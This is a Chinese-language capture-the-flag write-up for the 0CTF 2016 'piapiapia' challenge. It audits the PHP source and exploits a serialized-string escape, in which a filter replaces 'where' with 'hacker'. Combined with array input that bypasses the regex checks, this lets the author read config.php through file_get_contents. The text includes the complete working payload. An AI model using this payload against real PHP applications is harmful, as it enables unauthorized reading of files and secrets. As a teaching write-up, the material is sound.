[0CTF 2016]piapiapia

知识点

序列化字符串逃逸
数组绕过正则匹配

P.S.这是我第二次遇到序列化字符串逃逸的知识点了 虽然不能说一遍过这题 但是已经比第一次遇到这类型的题目感觉好多了

审计

dirsearch爆破目录得到了网站源码 分别贴出(可能会比较多 所以只拿出重要的部分)

config.php

1
2
3
4
5
6
7
8
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

这部分其实出题人的意思就是 flag就在config.php里面 只不过我现在不让你看 可能我理解力8太行 刚开始没get到 总之目标就是读到这个文件

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

最上面写着require once class.php 所以一会再去看看class.php 这部分对输入的东西进行过滤 然而post这些数据 如果传入数组的话 过滤形同虚设 然后看到了序列化这个函数 这个函数出在ctf中都得注意一下 冷不丁很可能就是考点 但是这个update_profile函数这里没找到 应该在class.php里面 往下看

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

好吧update_profile应该没啥好看的 但是filter就有意思了 前面四个替换没啥 最后where如果替换成hacker 那么会导致字符串的长度+1(+1s) 也就是对序列化字符串的长度可控 当可控的时候 就可以进行字符串逃逸

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

关注那个file_get_contents 可以如果我们控制了profile的photo属性 那么就可以读flag(config了

拢一下

已经确定我们传入的数据是要被序列化了 而且对序列化字符串的长度可控 考点应该就是字符串逃逸 题目对序列化的结构是username之后跟着photo 所以我们需要控制的是username 逃逸之后后面的就不管了

解题

username对长度有限制 数组上传能够绕过这个限制 然后我们需要构造逃逸
payload:

1
;}s:5:"photo";s:10:"config.php";}

第一步肯定是构造到这 然后我们要想办法让他逃逸出去 有人肯定会问 咋前面多了个大括号 那个是因为之前传入的username是数组 需要一个大括号来闭合数组

回想起where被替换成hacker 如果被替换 只是所有的where被替换成hacker 其他都没变 第一步的payload总长是34 如果前面少了34个字符 那这一段就不属于username属性了 顺接成为了photo属性 完成逃逸

1
2
s:204:where*34;}s:5:"photo";s:10:"config.php";} -->
s:204:hacker*34;}s:5:"photo";s:10:"config.php";} 逃逸成功

EXP

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发包之后 点开your profile 查看源码 拿到flag